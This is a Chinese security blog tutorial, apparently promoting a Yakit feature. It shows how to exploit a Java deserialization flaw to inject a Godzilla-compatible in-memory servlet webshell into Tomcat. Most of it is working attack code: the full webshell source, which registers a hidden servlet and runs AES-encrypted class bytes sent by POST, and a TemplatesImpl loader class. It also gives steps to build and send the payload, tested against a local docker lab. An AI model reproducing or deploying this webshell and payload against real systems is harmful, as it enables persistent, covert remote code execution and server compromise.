01
背景
对于反序列化漏洞利用,一般命令执行后可以直接反弹shell或上线cs,但不出网的情况下想获取目标机器的信息,或进一步利用,就需要用到内存马配合shell管理工具了。
Yso-Java Hack 功能上了有一段时间了,可能有些师傅还不太熟悉,其实使用起来很方便,本篇文章介绍下如何利用反序列化漏洞直接打入内存马。
02
生成内存马
现在Yakit暂时还没有 shell 管理功能,所以就选用哥斯拉做 shell 管理工具。针对哥斯拉的马进行改造,改成servlet内存马。
我用的哥斯拉版本是4.0.1,生成的是jsp马,改成内存马就像下面这样。
import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;public class GodzillaMem extends HttpServlet {String xc = "3c6e0b8a9c15224a";String pass = "pass";static String pattern = "/logs";static String servletName = "JVMService";String md5 = md5(pass + xc);Class payload;static {Servlet servlet = new GodzillaMem();org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();newWrapper.setName(servletName);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());standardCtx.addChild(newWrapper);standardCtx.addServletMappingDecoded(pattern,servletName);}public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret;}public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});} catch (Exception e) {try {base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});} catch (Exception e2) {}}return value;}public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null;}}public Class defClass(byte[] classBytes) throws Throwable {URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defMethod.setAccessible(true);return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {byte[] data = base64Decode(req.getParameter(pass));data = x(data, false);if (payload == null) {payload = defClass(data);} else {java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Object f = payload.newInstance();f.equals(arrOut);f.equals(data);f.equals(req);resp.getWriter().write(md5.substring(0, 16));f.toString();resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));resp.getWriter().write(md5.substring(16));}} catch (Throwable e) {}}}
这是一个基础的servlet马,其它的马也是一样的原理。
03
生成Payload
上面改造的 servlet 内存马想通过反序列化链利用还需要进行一些改造。代码执行是通过 TemplatesImpl 对象反序列化时加载类导致的,它在加载类时,只会实例化继承自 AbstractTranslet 的类。
而我们构造的内存马是继承自 HttpServlet ,Java只支持单继承。所以我们可以再写一个继承自 AbstractTranslet 的类来加载内存马。如下,将 base64Class 的值改为上面内存马的base64编码。
package payload;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.Base64;public class LoadBytesCode extends AbstractTranslet {static String base64Class = "<字节码的base64编码>";static {byte[] bytes = Base64.getDecoder().decode(base64Class);try {defClass(bytes).getConstructor().newInstance();} catch (Throwable e) {e.printStackTrace();}}public static Class defClass(byte[] classBytes) throws Throwable {URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defMethod.setAccessible(true);return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}
编译 LoadBytesCode 类生成 class 后再 base64 编码,在 Yso-Java Hack 功能里选择链,恶意类选择 FromBytes,填入字节码,生成hex格式数据。
04
实战演练
先在本地搭建一个测试环境,源码如下:
这里已经给需要测试的师傅打包好了docker环境,docker运行下就可以: docker run -p 8080:8080 -itd --name="deserilize_test" z3r0ne0/deserilize_test
启动环境后,使用 Web Fuzzer 发送 payload
GET / HTTP/1.1Host: localhost:8080{{hexdec(<之前复制的payload>)}}
访问 http://localhost:8080/logs 发现405错误,而不是404,说明注册servlet成功了
使用哥斯拉连接成功
05
总结
Yso-Java Hack 帮我们完成了很多需要代码操作的事情,而且支持自定义恶意类,可扩展性还是很强的,希望本篇文章可以给师傅们一些新思路,提高工作效率。
参考文章:https://paper.seebug.org/1885/
06
往期推荐